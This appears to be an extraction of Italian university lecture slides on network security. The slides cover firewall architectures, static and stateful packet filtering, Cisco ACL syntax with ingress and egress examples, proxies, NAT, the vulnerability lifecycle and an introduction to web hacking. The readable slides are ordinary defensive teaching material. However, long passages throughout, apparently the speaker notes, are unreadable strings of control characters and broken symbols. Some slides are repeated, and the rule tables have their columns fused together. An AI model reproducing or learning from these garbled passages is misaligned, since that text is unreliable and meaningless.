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Firewall
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Internet

LAN

telnet

ftp

rlogin
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Internet
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firewall
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Internet
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Border
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firewall
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Caratteristiche derivate dalla presenza di un firewall:

- gli indirizzi IP delle macchine (client, server, dispositivi)
non sono DIRETTAMENTE visibili da Internet;

- Solo i componenti ESTERNI al firewall sono
DIRETTAMENTE accedibili;

- Solo i componenti della RETE DMZ sono accedibili da
Internet e le connessioni sono filtrate dalla politica di
controllo degli accessi implementata dal firewall;

- Solo i componenti della RETE DMZ possono accedere la
RETE INTERNA con connessioni filtrate dalla specifica
politica di controllo degli accessi implementata dal firewall;

- Realizza una SEPARAZIONE IN ZONE A DIFFERENTE
GRADO DI SICUREZZA nella architettura di rete
dell’organizzazione.
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Tecnologie per sistemi di Firewall

� STATIC PACKET FILTERING
(a filtraggio statico dei pacchetti);

� DYNAMIC PACKET FILTERING

(STATEFUL FILTERING )

(a filtraggio dinamico dei pacchetti);

� PROXY.

0 ����������,�������,� )���-- ��/

�����������������	����������,����������	,�������/
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STATIC PACKET FILTERING
(a filtraggio statico dei pacchetti)

Controllo del traffico basato unicamente sulle
informazione degli header dei singoli pacchetti.

I valori dei parametri degli header dei pacchetti vengono
confrontati con le regole definite in un’ACL (Access
Control List) e ammessi o scartati secondo il risultato del
confronto.

OGNI PACCHETTO VIENE QUINDI ESAMINATO
SINGOLARMENTE, INDIPENDENTEMENTE DAI
PACCHETTI PRECEDENTEMENTE RICEVUTI E DA
QUELLI SUCCESSIVI

:	�������,��������-��	��5
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Considerazioni sul filtraggio basato sui FLAG

Spesso, per alcuni servizi, si impone che le connessioni
vengano regolate in modo tale che:

Risorse Organizzazione  �  Internet

ma NON Internet � Risorse Organizzazione

Ricordiamo pero’ che:

Connessione TCP  � Handshake Protocol  � Scambio di
pacchetti BIDIREZIONALE

Attraverso i FLAG dell’header TCP possiamo supportare
la politica di sicurezza citata

A	���+	���2��

���������������G��������������

��������������G��'�H�����������

��������������'�H�������������

������������	��*������	���,���������������������������������.�	����	��)������������	������	�������

����	���1 ��������.�	����	��)������������	������	�����/

������ ���������*��	�������	�	��)������������	������	������, �)�	�����������(�%�2*��	����

,�������	���	����	�������%$:%$�6���,�������� ���������	�������)+	���+	��7/

���-����	��������,����	����,	�����-��������*�,���	���*�,����	�	�������	���,������	������� ��..	5

��3����3)���,������� ���������	--�������������������	�����	�� ��������,����������	,,���	����*

,���+�)���,���������������,���	����������)+	���+	������ �	���������������	����������.�	�	��	

 �	�������	�������	�6����G��'�H���������������	��7=
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Sessioni applicative con Static Packet Filtering

Per gestire sessioni applicative attraverso static packet
filtering, in presenza di una politica di sicurezza che
permetta le connessioni iniziate dall’interno e vieti le
connessioni iniziate dall’esterno dobbiamo agire sui flag.

 Ovvero per il dato protocollo, in generale, si puo’ vietare
il solo traffico in ingresso avente il solo flag SYN attivo
(tentativo di stabilireuna sessione TCP, primo pacchetto
dell’handshake).

�	��+����������G��'�H���������������������������	�������,���+�)

������ ��������	����,���	��������������������	�� ������	�������������������

���.�	����	��)�������/

�	��+���������'�H���������������������������	�������,���+�)�	�����	���	

��	--��������	��������������*�������,���	�	����	���������� ������,	��+���������	��

����	����	��	������	�����.
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Efficacia dello Static Packet Filtering

Utile per:

� Spoofing: controllo degli indirizzi IP sorgenti (sia
Ingress filtering che Egress filtering);

� Tentate Connessioni : controllo degli indirizzi IP
destinazione;

� Traffico ICMP: tipo e codice messaggi ICMP;

� Source Routing: impedisce traffico con l’opzione
di Source Routing attiva (spoofing).

Spesso la funzionalita’ di static packet filtering viene
svolta dal Border Router e non da un componente
specificatamente dedicato alla funzione di firewall.


������� ������������	���,����������- �.���	���	)������	����,	�����-��������

,������������	���-���.��������'�(�6'��������������(���7/
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���- �.���	���	)������� ��..	��+���--�����������,����������	��/�2�	�1 ����*
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����1 �������������)� ��������,�������� ��,��,����>������$� �����	��������/
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	��+����������	������������ ������� --�������/

2	���- �.���	���	)���������	��..	�	�����	����	��������--���������	� ���� ���*
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Access Control List  (ACL)

� Definiscono le regole per il filtraggio statico dei 
pacchetti in transito. ACCEPT/DENY

� Criterio TOP-DOWN di filtraggio. La prima regola
che viene verificata produce la decisione sul 

pacchetto.

� Il test del pacchetto continua fino a che una regola
corrisponde alle caratteristiche del pacchetto 

oppure fino a che la lista di regole termina;

� Esiste normalmente una regola di DEFAULT in
ultima posizione che determina il comportamento
(accept o deny) nel caso nessuna delle precedenti
sia stata soddisfatta.

�������	������������'�(��)���-- �����������	,,������	��������	�����,����

���������������	���������������	 ����..	.�����,�����������������������������

1 	��5��	�	�	��*�-�����!����*�	��+������� ����	��*����/
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Tipi di ACL  (router Cisco)

STANDARD ACL

� Numero tra 0 e 99;

� Filtrano SOLO gli indirizzi IP SORGENTI.

EXTENDED ACL

� Numero tra 100 e 199;

� Filtrano indirizzi IP SORGENTI, DESTINAZIONE,
PROTOCOLLO, PORTE UDP e TCP e TIPO/CODICE
messaggi ICMP.

�����*���	���������	���,������,���������������*�+	������������ �	���,�����	���

'�(�� ���������������	���	��	������%B������/

6������������	��	)� �	����.	���,�����	�����	�$�-��B�����+��,���)�����,�����	��

�����������	.�����,���+�)��	����	�������������������������7/
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Formato delle STANDARD ACL

� Numero: da 0 a 99 per ACL Standard;

� Azione: permit (permetti) oppure deny (nega);

� Sorgente: indirizzo IP sorgente;

� Wild Card: prossima diapositiva;

� Any: qualunque indirizzo IP

Esempio

Access-list 20 permit 192.168.1.0 0.0.0.255

Access-list numero azione sorgente [wild card] | any
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Wild Card

� Determina quale parte dell’indirizzo IP deve 
essere verificata e quale deve essere ignorata;

� Valore binario 1 : Bit dell’indirizzo IP che NON
DEVE essere verificato;

� Valore binario 0 : Bit dell’indirizzo IP che DEVE
essere verificato;

�������	������	������������� �����
	���,����	���-���.������������ ����/�(��& ���

�	���������9�����������,��� ��������..����/�2�	��������������	�������	,,������	����

;�� �������,	�	����	�, ���*���� �������1 	��������	� ����������������/�'�	�����	���

������..����/

%���,��5

& �����	��5���??/�??/�??/�??�������� ����������)������..���������������������	��

����	������	�����)'�(=

& �����	��5���/�/�/������ �����)������..���������������������	�������	������	�����)'�(=

��/�'�����������"E�,������"F�/"CE/"/�9��/�/�/�����,�������������	--����,����������

�	��)������..�����"F�/"CE/"/�9

& �����	��5���/�/�/�??�����������,���������������������)������..������������������

����	�������	������	�����)'�(=

��/�'�����������"E�,������"F�/"CE/"/���/�/�/�??����,�������������	--����,����������

�	��)�����	���	������"F�/"CE/"

& �����	��5���/�/�/"?����������	�����)��������"?�������	�����""""/�0 ��������� ������;

�����������������������	��/

��/�'�����������"E�,������"F�/"CE/"/���/�/�/"?����,�������������	--����,����������

�	����������..��������,�������	�"F�/"CE/"/����"F�/"CE/"/"?
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Esempio di Standard ACL

Access-list 17 permit host 192.168.1.100

Access-list 17 deny 192.168.1.0 0.0.0.255

Access-list 17 permit any

� Keyword host: si usa quando si indica un 
indirizzo IP unico. Analogo alla wild card 0.0.0.0;

� Regola di deafault: permit any oppure deny 
any.I router Cisco, se non specificato nulla nell’ACL,
implicitamente applicano deny any.

:���-��	���� ��,	��+����������	����������1 ���	�'�(*����	.���������*

�%(()3$���% 5

< �����)������..��������������������,�����	�"F�/"CE/"/"���	����	��)	.�����,�����

���������� ��	������,	��+�������	����	=

< �����)������..��������������	,,�������	��	���	������"F�/"CE/"�	����	�������!������

���� ���������,	��+�����������������	��=

< �������� �	�������,�����������)�����-��	�	�	����	����,���������������� ��������

,	��+�������	����	/

0 ����*��)�--��������,�����������1 ���	�'�(��)�1 �������������	���� ������,	��+����

,������������	��	���	�������������..��"F�/"CE/"�6�%�3��'������	7���	�����

,	��+������	��)+����"F�/"CE/"/"����+�������������������	�������6�$�
'������	7

�������	��������������,	��+�����,������������	�1 	� �1 ��	�����������..����

62%$4'������	7/



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! "D

© Marco Cremonini 17

Ingress ACL

Access-list 14 deny 192.168.0.0   0.0.255.255

Access-list 14 deny 172.16.0.0     0.0.255.255

Access-list 14 deny 10.0.0.0         0.255.255.255

Access-list 14 deny  <la propria rete interna>

Access-list 17 permit any

0 ���	�'�(���,������	� �	�,������	������8$%���-����������������� �	�	����

�,��-���/

������������	,,���	�	�	�� ������,	��+������������������ ���� �������-�������	/

:������������	��5

� � ��������������..�������������	����������	��������������	�	�����6"F�/"CE*�"D�/"C��

"�7=

� 2 ��������������..��	,,	���������	��	�,��,��	������������	/

�������	�������	��*� ��,	��+��������	������� ��� ������������	������ ���	���������..�

����)���� �	��������	���������������,��-���/

�	��+���������������..������+������������	��������	����,���-��	�����������	������/
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Egress ACL

Access-list 14 permit  <la propria rete interna>

Access-list 14 deny any

Esempio

Access-list 14 permit 192.168.1.0   0.0.0.255

0 ���	�'�(���,������	� �	�,������	����%8$%���-����������������� �	�	����

�,��-���/

������������	,,���	�	�	�� ������,	��+�������� ����	�� ���� �������-�������	/

:�������-	������	����	����������,	��+�����	�����5

� ������..��	,,	���������	��	�,��,��	������������	/

���,	��+�������� ����	�� ���� ������������	������������..���������	,,	���������	��	

�����	.����	����)���� �	��������	���������������,��-���/

(	������	������-	 ���6���!�	�!7�, �)�������������������	�,���+�)���,�����	�6�� ���

�����7���������,���-��	�	/
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Formato delle EXTENDED ACL

� Numero: da 100 a 199 per ACL Extended;

� Azione: permit (permetti) oppure deny (nega);

� Sorgente: indirizzo IP sorgente;

� Destinazione: indirizzo IP destinazione;

� Type: IP, UDP o TCP;

� Opzioni: Porte TCP/UDP, Tipo/Codice ICMP, 
operatori speciali (diapositive successive);

� Log: opzionale. Scrive un messaggio in un log per
ogni pacchetto verificato da una regola.

Access-list numero azione tipo sorgente [wild card]
opzioni destinazione [wild card] [log]

(��%B�������'�(�,��������������������-��	����	� ������*�,���-	�����	�����	

��������*� ����..	�����	�����	���5

�,�	������������B�����������J	��

$��,����������	��	���'�(*����%B�������'�(�-����������������,� )�,���������	)

���-����	�����	����������� ���	��������, �	.���	���������,� )�����	��/

�,������������� �	������%B�������'�(/
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Operatori Speciali delle EXTENDED ACL:
ESTABLISHED

� Established: permette di filtrare traffico in 
ingresso verificando se i flag RST o ACK sono attivi;

� Dovrebbe permettere l’ingresso di tali pacchetti
solo in presenza di una sessione TCP gia’ 

stabilita, evitando fenomeni di scanning;

� Meccanismo non efficiente e facilmente 
bypassabile dai tool di scanning. Raramente utilizzato.
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Static Packet Filtering: Sommario

� Utile se configurato su di un router quale primo
livello di protezione perimetrale.

� Protezione solo rispetto tecniche di attacco banali;

� Scarsa espressivita’ nell’analisi del traffico.
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DYNAMIC PACKET FILTERING
(a filtraggio dinamico dei pacchetti)

Controllo del traffico basato oltre che sulle informazione
degli header dei singoli pacchetti anche su di una
CONNECTION TABLE che mantiene lo stato delle
connessioni attive.

OGNI PACCHETTO VIENE QUINDI ESAMINATO SIA
SINGOLARMENTE CHE IN RELAZIONE CON I
PACCHETTI PRECEDENTEMENTE RICEVUTI E
APPARTENENTI ALLA STESSA SESSIONE.

��:	�����������+�	��������-��	��������	�	���+��	���	��������	�����	�����#��������5

•������..��������������	.����=

<������..��������,��������.	=

<����	�	,,���	���	����������	.����=

<����	�	,,���	���	����,��������.	=

<
���	������
�=

<#�	��6,������������2��7/
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DYNAMIC PACKET FILTERING: esempio

Rispetto allo Static Packet Filtering, la tecnologia Dynamic
Packet Filtering correla i pacchetti con le sessioni attive.

Rete Interna Internet

SYN

SYN ACK

ACK

SYN ACK

Client ServerIntrusore

��:	�����������+�	��������-��	��������	�	���+��	���	��������	�����	�����#��������5

• ������..��������������	.����=

< ������..��������,��������.	=

< ����	�	,,���	���	����������	.����=

< ����	�	,,���	���	����,��������.	=

< 
���	������
�=

< #�	��6,������������2��7/

���#�� �	� ������,�������- �.���	��������� ��-����	��������	����5

< ��	������	������������2������������,���	�	��������	��������	���������

������=

< ()��������� ��,	��+������G��'�H�����	����	�,	��������)���� ����������

�����	���,���+�)������������ �	�������	����������	���	�	��	��	������������	/
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DYNAMIC PACKET FILTERING: esempio (cont.)

SYN

SYN ACK

ACK

SYN ACK

CONNECTION TABLE : Client ha una sessione aperta con Server

Porta Origine=1037   Porta Destinazione=80

Rete Interna Internet

Client ServerIntrusore

CONNECTION TABLE :
Nessuna sessione aperta
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Problema: IP Spoofing?

E se l’Intrusore tenta connessioni o scanning utilizzando
l’indirizzo IP del Server?

- IP spoofing di un server autorizzato a connettersi;

- Al server deve essere impedito di rispondere;

- L’intrusore potrebbe dover leggere le risposte (sniffing);

- L’intrusore deve conoscere le porte di origine e
destinazione per potere inviare traffico compatibile con la
connection table;

- ACK e Numeri di sequenza devono essere corretti;

- Evitare timeout nella sessione TCP.

'���	�����	’������� ���	��������������,	��	���������������A�K	����������
��	�����/
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Dynamic Packet Filtering: Sommario

� Protezione molto migliore rispetto al caso static
packet filtering;

� Impatta pesantemente sulle performance del 
router/firewall.

� Limitazione principale: non analizza il traffico 
rispetto i dati della comunicazione (payload) ma 
solo attraverso le informazioni contenute negli header.

� Altra limitazione: Protocolli connectionless, ad 
esempio UDP, vengono gestiti in maniera 
inefficace.

������������������� ���*������������	��	��+�������� ������������--��� 	���	

��������	,,���	����*�����,� )�	������������,����������2��*���������
���,, ��

����������+������	�����������/

������	,,���	.�����+	����� ����	�����	)���	���6	���	�����	)��������+�

�--�����	���������+	�������� ���������	��7*� �	�,����.�����,�������	�������

��,�.���	������������ ��������	�������,	��+�����,�������-��	������	��������������

������� �	���� 	.�����	���	�	��+������	�����-� ��	���� ����	�����	)�	,,���	����/

��)	�	�����������+�	��������,	��+������)��� ��������1 ������	��/

%���,��5�� ����	�����	)���� ��& ���������/�'��������������	--������������6�

1 �����	���	�����������-���	.�����������+�	��������,	��+����7������������	)� �

��� �����	--������	� ����������� ������������/�()	��	����������������� 	��

�����	�	��..	�������	��������� �������,	��+�����6��,��������	���*���,�����1 ��!*

����	��������,	�	�����*����/7/
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Packet Filtering : Telnet

Vediamo un esempio di packet filtering (sia esso statico o
dinamico) applicato a connessioni telnet.

Ipotesi: vogliamo autorizzare SOLO connessioni Telnet
dall’interno della rete aziendale verso l’esterno.

DenyEitherAnyAnyAnyAnyAnyEither

PermitYES>102323TCPInternalAnyIN

PermitEither23>1023TCPAnyInternalOUT

AzioneACK

Attivo

Porta

Dest.

Porta

Sorg.

Protoc.IP

Dest.

IP

Sorg.

Direz.

���	.�������--����������,�����1 ��������������,�������.	��+����,������	����	�����	���������

'�(������/

0 ���	����	.������)�,� )��������	��������-�������	���	������%B�������'�(/

�����	������5�,	��+����������	�������	��)������������	������������ ��+����������

6����.�����3�27/�����	���	���������-��	����������������,���-����6�������/�������	�7���)���

������	�	���6�������/�'�!7/����	����+����,���	������ �1 ���+���)��������������	��������

����������� �	������	.������	���,���	���� ��)���������	�	���/�������������� �	���������

�������6,����������2��7�	��	)� �	�,���	�������-����	��	�����	������� ,�������	��	�"��9

6����	�����/�L"��97/�(	�,���	����������	.�����������������������,�����������.���������*�,��

������.������)��	��9M2���6����	�����/��97/�������,	��+�������� ����	�����,����	��������	��

�)'�H�	�� ���	��������1 	����,��������������	������	�� �������	��)"��+�������6'�H

'������%��+��7/�()	.������)����������/

�����
�	������5�,	��+����������	�������	��)+������������������	������������	�	�

-����	��M�� ����6����.�������7/�����������	���,���������*���,���	���������+���)������..�

������������	.�������	���������6�������/�'�!=6�������/�������	�7/�(��,���������������

������	�	�����������-����������	����	�������,��������	��	�����	�$����	*��������L"��9*

�������N��9/����1 ������	�����,���	����+���)'�H���	�����	���	�"�1 �����	������,���+�)

2�22����,	��+�����,������������	���������6��	�����)+	���+	����+����������	���������	��7

	��	�����)'�H�	�����/�()	.������)�������/

�����	������5������	������-	 ��/�2 ����������������������	���6������,�����7/



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! �E

© Marco Cremonini 28

(richiamo dalla lezione precedente)
Packet Filtering : Telnet

Ipotesi: vogliamo autorizzare SOLO connessioni Telnet
dall’interno della rete aziendale verso l’esterno.

DenyEitherAnyAnyAnyAnyAnyEither

PermitYES>102323TCPInternalAnyIN

PermitEither23>1023TCPAnyInternalOUT

AzioneACK

Attivo

Porta

Dest.

Porta

Sorg.

Protoc.IP

Dest.

IP

Sorg.

Direz.

���	.�������--����������,�����1 ��������������,�������.	��+����,������	����	�����	���������

'�(������/

0 ���	����	.������)�,� )��������	��������-�������	���	������%B�������'�(/

�����	������5�,	��+����������	�������	��)������������	������������ ��+����������

6����.�����3�27/�����	���	���������-��	����������������,���-����6�������/�������	�7���)���

������	�	���6�������/�'�!7/����	����+����,���	������ �1 ���+���)��������������	��������

����������� �	������	.������	���,���	���� ��)���������	�	���/�������������� �	���������

�������6,����������2��7�	��	)� �	�,���	�������-����	��	�����	������� ,�������	��	�"��9

6����	�����/�L"��97/�(	�,���	����������	.�����������������������,�����������.���������*�,��

������.������)��	��9M2���6����	�����/��97/�������,	��+�������� ����	�����,����	��������	��

�)'�H�	�� ���	��������1 	����,��������������	������	�� �������	��)"��+�������6'�H

'������%��+��7/�()	.������)����������/

�����
�	������5�,	��+����������	�������	��)+������������������	������������	�	�

-����	��M�� ����6����.�������7/�����������	���,���������*���,���	���������+���)������..�

������������	.�������	���������6�������/�'�!=6�������/�������	�7/�(��,���������������

������	�	�����������-����������	����	�������,��������	��	�����	�$����	*��������L"��9*

�������N��9/����1 ������	�����,���	����+���)'�H���	�����	���	�"�1 �����	������,���+�)

2�22����,	��+�����,������������	���������6��	�����)+	���+	����+����������	���������	��7

	��	�����)'�H�	�����/�()	.������)�������/

�����	������5������	������-	 ��/�2 ����������������������	���6������,�����7/
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Packet Filtering : Telnet (cont.)

PROBLEMA: filtrando il traffico solo sulle Porte Sorgenti e
Destinazione, come fatto nel caso precedente, puo’
portare a una politica di sicurezza eccessivamente
permissiva.

Esempio: Con la Seconda Regola
IN Any Internal TCP 23 >1023 YES Permit

Si permettono connessioni da qualunque host esterno,
purche’ abbiano porta 23 come sorgente, a qualunque
host interno ed a qualunque porta >1023.

MOLTE POSSIBILITA’ DI INTRUSIONE SU SERVIZI
ATTESTATI A PORTE >1023

(	�,������	��)���������	������,��������	�,���+�)5

< ���,����� �	��,���-��	�,���	���������������6��/�(	��9�������������	��7��	�����

�,���..	���� �� �����	��	������������.����������/�������� �����, �)�-	��������� ����..	��

1 	� �1 ��,���	�,���1 	� �1 �������.������+����	�� 	����,���.����/�� ��	��	�	������

�+���	��	�,���	��9�,	��	���,	��+�����,��� �	����������2�����=

< �
����������.��	�����	���,�����L"��9�	������������������6��/�O�& ������*����/7/

0 ����*�����1 ���	�'�(*�	,,	���������������������	*� ������ ���������������	���	���������

�������	������������������	�1 	��������	������.�������	������������	�	�����	���� �,����

L"��9/

(	���� ��..	�����	������������	���� ����������	��	���������,������	��	� �	�,����.����

,�������	�����������	��	/

�����	��	)*��	���� 	.������������ ��	������ �������,������	�,���+�)�	���	�������	�����

-����	������ ���	���������)'�H/���,���������	�"*������	���������	�������������������

6,�����,	��+���������)+	���+	��*�������G��-�	��	�����7*��	�����������	�������

����� 	�����������+�K	�����/

0 �����,���)���	.���	�� ��-����	����� ������������,�������������,����������������������	.����/
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Packet Filtering : SMTP (Posta elettronica)

PermitAny25>1023TCPExternalInternalOUT

PermitYES>102325TCPInternalExternalIN

DenyEitherAnyAnyAnyAnyAnyEither

PermitYES>102325TCPExternalInternalOUT

PermitAny25>1023TCPInternalExternalIN

AzioneACK

Attivo

Porta

Dest.

Porta

Sorg.

Prot.IP Dest.IP

Sorg.

Direz.

�����	������5�,���	������������/��	�1 	� �1 ��������������%�2%$�3�	�1 	� �1 ����

������	.�������2%$�3�6�����	��	)����, �)�����������������	����������������..�������
����

	���3(��
'�(��%$:%$7/��������������,���	���������61 ������� ������������������	

��� ���	.����7��,����	)��	� �	�,���	�L"��9*��������������������������	)�� �,���	��?

6�
2�7/����� ����������� ��)'�H/

�����
�	������5����,����������	����������	���������6����������,���	��������7�6+	���+	��

��,�����������
2�7/�()'�H�����������������	��������������,������,���������������/

�����	�	&���
�	������5�,���	���� ����	/�3�	��)�����	����������	.����	���	��	���������

����������,�����������������,���	���������6	����	*�	�������,�� ��������	�������������..����

��
�����	��������	����������	.����	��7/�(���������������,�������	��	�,���	���	��	�������	

�������������� ����������������������/

&���
�	������5������	������-	 ��/�2 ����������������������	���6������,�����7/

'��+�����1 ������	��*������-����	�����������	�������)'�H������������ �	�,������	���

��� ��..	�	�����	����/������,���	*�����������-�����-	���*���������-����	������ ����,�������

����������������	.�����	�������	,������	�,���������	)����-	��������� �����/
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PROXY

Un PROXY SERVER e’ un componente che fa da
intermediario rispetto al traffico scambiato tra due
segmenti di rete.

Tipicamente, un proxy viene usato per fornire
connessione ad Internet ad un numero elevato di host
interni. In questo modo, la connessione ad Internet
dell’intera rete interna viene effettuata e gestita da un
unico componente.
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Internet

PROXY

Connessioni REALI

Connessioni APPARENTI

()�2�(�443����������B!�-	�����+��'��'$%�2%
%�2%5

�� ��������+�������������������	������������	�����������	���	������������������

�	���������������-�����������	�	��)+�����������=

�� ��������+����������������������	���	�� �	�������	��	��+��	�����	����	

	.����	��/

(��������������$%'(���������������	���,���� �5

�� ��������+�������������������	������������	���������������	�����B!*�����)

1 ���) ������	�������������	����+�����������=

����������������������+�������������������,��B!���������� �������	�����

��	�������	�����,�������������	�	�������	������������	/

$�� ��	�����������+�� �����,�������-	���������- �.��������,��B!�, �)�������

�--��	��������������	�������- �.��������-����	���,���-���������� ��..	/
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PROXY: Caratteristiche

Opera a livello APPLICATIVO e puo’ pertanto essere
usato per analizzare il dati delle applicazioni;

Performance potenzialmente molto critiche;

Esistono soprattutto software di proxy generici che
supportano le applicazioni piu’ comuni. Livello di sicurezza
non ottimale perche’ non specifici delle singole
applicazioni.

'�� ��������� ������ ������ ��,��B!�,���-����	�����	,,���	���������������

����)��	���	������	���6,	!��	�7/

'�����,��*������������������*�,����	������������ ��..	*������,���������	--���

& ��������������P	�������������Q*�1 	���R	�	*�'�����O*�A2
(�����,�����/

'�� �����-��	������,��B!�,�������������������	�������������	�����	���	

1 ��������,�������	���������,	�����+���/
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Internet

FirewallREVERSE
Proxy

Web
Server

1

2

3

4

REVERSE PROXY

��� ����..����������	������������	�� 	�������,��B!*����,���������	���,����������

��� ��..	���������������*��)�1 ��������������$%:%$�%��$3OG/

(�����,����� ��,��B!�������	���	)�$%:%$�%��$3OG��)�1 ������������	����

��������	���	�� ��������������������������������	����������6��1 	��������	

������������ �	7���������& ���������/

3�������+����	�A22������	�	�	��& ����������6"7������	��	)�������������..	�	��	�

#����	���	��$����������B!�6�7����1 	����	���������..	*�	����	�	���	��������

#����	���697*����	�1 �����	��& ����������	,,��,��	���6;7/

���1 ���������*�	�������	��& �����������)����,���-	�����	��$����������B!��

�	���	� ��+�����������/

'���������	,,���	����*����& ����������������,���������	����������� ����	�����	)

�+��,���������������-� ��	�����������+������A22�����,����� ���	��$������

���B!�,����������������������	�����-����	������	���	��/
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FIREWALL: Caratteristiche ulteriori

NETWORK ADDRESS TRANSLATION (NAT)

Questa e’ una delle funzionalita’ supplementari che ogni
firewall dovrebbe fornire. Si tratta della possibilita’ di
convertire gli indirizzi IP nel passaggio tra le due
interfaccie del firewall.

Tipicamente viene usata per:

� sfruttare le classi di indirizzi IP riservate e non 
instradabili (172.16 , 10 e 192.168);

�  mascherare i reali indirizzi IP delle macchine 
interne alla rete aziendale.
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Internet

Firewall
Source IP: �����������
Destination IP: 206.121.73.5
Source Port: ���	
Destination Port: 80

Source IP: �����
���	
Destination IP: 206.121.73.5
Source Port: ����
Destination Port: 80

�	��	�#�� �	�����	����+�5

< �����	������������	������� ����..	�	� �	�� ���	.��������������������

�	��)�������=

< �����������	)�����-� ��	��������	�������������..��������	��=

< ����������������������	������������������	��)�������=

< �������)������..������������	�',,���	���	�����#����	��M���B!��)�����

������	�����/



���������	
����
��	�����������������	 �������������

��
	����������������������������	���������������� ���! 9D

© Marco Cremonini 37

STATIC NAT

Ogni singolo indirizzo IP privato (rete interna) viene
mappato con un corrispondente indirizzo IP pubblico.

PORT ADDRESS TRANSLATION (PAT)

L’indirizzo IP pubblico (del firewall o del proxy) e’ unico.
Per gestire le connessioni in ingresso e indirizzarle al
corrispondente destinatario si usano le porte. Le sessioni
degli indirizzi IP interni vengono assegnate a porte distinte.
Il firewall verifica la porta di destinazione per ricavare il
corrispondente indirizzo IP (e porta) a cui indirizzare i
pacchetti in ingresso.

������ ��,������	I����������������������������������������I������-	���

-����	���	��������������)������..�������������	�� ��������..	�����,	��+�������

	�����I

� ����������������+��,�����,	��5

��	�����'25�	�����	.�����"�"���	�������..�����, ���������������..�����,���	��/

���� ����������	������ ��������	�������������..�����������	����������	��

�����	������� ������������..�����, �������	����,���.�������	������� ����

��-�������	�1 ����� �	���������	�����=

�'25����-����	��M,��B!��	������������	�	�����������������	�����	������	

,�����	,,���	�������������/����1 �������������������������,��������	�����/
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Vulnerabilita’ Applicative
e Web Hacking

#�	��$$�	������������%��������� ������&���	&&���	$�����' ����%�������� ������

��������&�����&	������������������ �������	����������������������������������

���������	��$$	$����(
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Finestra Temporale di Esposizione di un Sistema
( Window of Exposure )

e Ciclo di Vita di una Vulnerabilita’

DOMANDA 2: Perche’ alcune tecniche di intrusione (es.
Buffer overflow), pur essendo tecnicamente non banali da
implementare, sono cosi’ frequenti?

DOMANDA 1: Perche’ la grande maggioranza delle
intrusioni avviene sfruttando vulnerabilita’ NOTE e per le
quali ESISTONO PATCH da lungo tempo?

����	����	�	��$$	������������%�)�&�������	��� �	�������������� ��������������	

������ ����	�����	*)��%�����	&&���	���	�	����� ����	�����	*���������$����	��$���	��

�%��	�������&���&� *�+��, ������ ����	�����	*�	&&���	����(
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Stati del Ciclo di Vita di una Vulnerabilita’

Creazione: un errore viene introdotto nel codice nel corso
dello svilippo di un sistema, un servizio, una applicazione.

Scoperta: qualcuno scopre l’errore presente nel codice e
intuisce che questo ha conseguenze sulla sicurezza. Solo
ora si parla di vulnerabilita’ anziche’ di errore nel codice.

Condivisione: la conoscenza di tale vulnerabilita’ viene
fatta circolare in ambito ristretto.

Pubblicazione Patch/Upgrade : il produttore del sistema
corregge l’errore emettendo una patch o una nuova
versione del codice. La presenza di tale vulnerabilita’,
insieme alla presenza della patch disponibile viene resa
pubblica.

. ������	&&������	����*� ���������������+��������)������	&&������	�, ����

�%�����&���	�����������&& ����*�����������, 	���	������������+	��(

������&�����%��	��$$	�������	����	�����(
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Numero di intrusioni

Tempo

creazione

scoperta

condivisione

pubblicazione
patch/upgrade

MINIMA REALE

installazione
patch/upgrade

Finestra di Esposizione

�	����	�������	��0

"1�2*������	����������&����	����	$����������&���	�& �*������������+����	�����

� ���)������������	�� �	������	�����	������	��%��+������	������	$��������������3

�1�2	����&���	�����	�� ����	�����	*��������&�����&���	�������	��	�����

�*���$������������� ������4��(�������������&���	��	� ���	���	���������������	1

-1�2	���������������*����*��%��	������������	������, 	���� �	�� ����	�����	*

���������&���	��	����� ����3��	�����$�	�������	�4���	�� ����	�������*�����	����%�

�	���������$	����	�� ���� ����	�����	*���	�������	�	�5 ������� ��6�	��%��&��

�����������&���	������ ������	��	���	��������������	���	��&��� �����1(�2�

���� ������	 ����	�������	����	���&����$�	��3

/1����&��� ������������� �	�&	��%�����	��	�� ����	�����	*��%���	�&	��%��������

& ������$$	���&���+	����*��%���������������	������������������������(

�78#9:0����&��)�	��%����&���*����������������&	��%)�������� �����

������ 	���	��	 ����	������������	&���)��&������	��������	����	�����	��	���

� ������������ ���������	���������	����	��%��&����������������	������� �	

	����4��(�;���)��������	������� ++�������+����� �' ���������)����(1
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OSSERVAZIONI:

1. Tutti i sistemi possono essere soggetti ad una finestra di
esposizione, anche se gestiti al meglio (impredicibilita’ della
scoperta di vulnerabilita’).

2. Le patch vengono installate con molta lentezza.
Meccanismo spesso inefficace:

- scarsa consapevolezza di molti sistemisti;
- frequenza di emissione troppo elevata;
- talvolta causa di malfunzionamenti.

3. La conoscenza di vulnerabilita’, siti vulnerabili e
configurazione di un gran numero di sistemi ha una
circolazione molto efficiente (chat, mailing list, magazine,
etc.).
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RISPOSTA alla Domanda 1:

Scarsa attenzione alla GESTIONE della sicurezza
(monitoraggio, acquisizione di informazioni, aggiornamento,
analisi dei rischi, test, etc.);

Qualita’ complessiva scadente dei sistemi (eccessiva
complessita’, eccessivo sviluppo di funzionalita’ o
automatismi, mancanza di test, meccanismi di sicurezza non
integrati, eccessiva pressione nel rilascio, etc.)
Nuove versioni e patch che devono essere rilasciate
rapidamente, talvolta creano nuovi problemi.

�7
#��#�"0�����%�*��	���	�����	�����	�$	����������� ������	������

�+� ��	����� ����	�����	*��78:���&������, 	���:���87�7��#8�>��	�� ���

���&�?
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Numero di
intrusioni

Tempocondivisione pubblicazione
patch/upgrade

Perche’ la curva cresce
cosi’ rapidamente se la
realizzazione tecnica di
molte intrusioni e’
complessa?

SCRIPTING : successivamente alle prime intrusioni, la
tecnica per produrle viene AUTOMATIZZATA (scrittura di
script, descrizione delle procedure).
NECESSITA’ DI SKILL TECNICI QUASI AZZERATA

AUMENTO DRASTICO DEL NUMERO DI ATTACCANTI
(detti “script kiddies”)

RISPOSTA alla Domanda 2

���������0�����%�*�	�� ���������%��������� ������4��(�; ++�������+���1)

& ����������������	�����������	�	����	���&������	��)����������*�+��, ����?
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• Mirate contro vulnerabilita’ dei sistemi operativi e dei servizi
di rete;

• Attacchi specifici delle architetture dei sistemi operativi,
meccanismi di autenticazione e servizi;

• Miriade di vulnerabilita’ per i diversi servizi, sistemi operativi,
CPU, etc.

• Difficile implementazione e realizzazione complessa,
richieste notevoli competenze tecniche.

WEB HACKING
Tecniche di Intrusione “ Tradizionali”

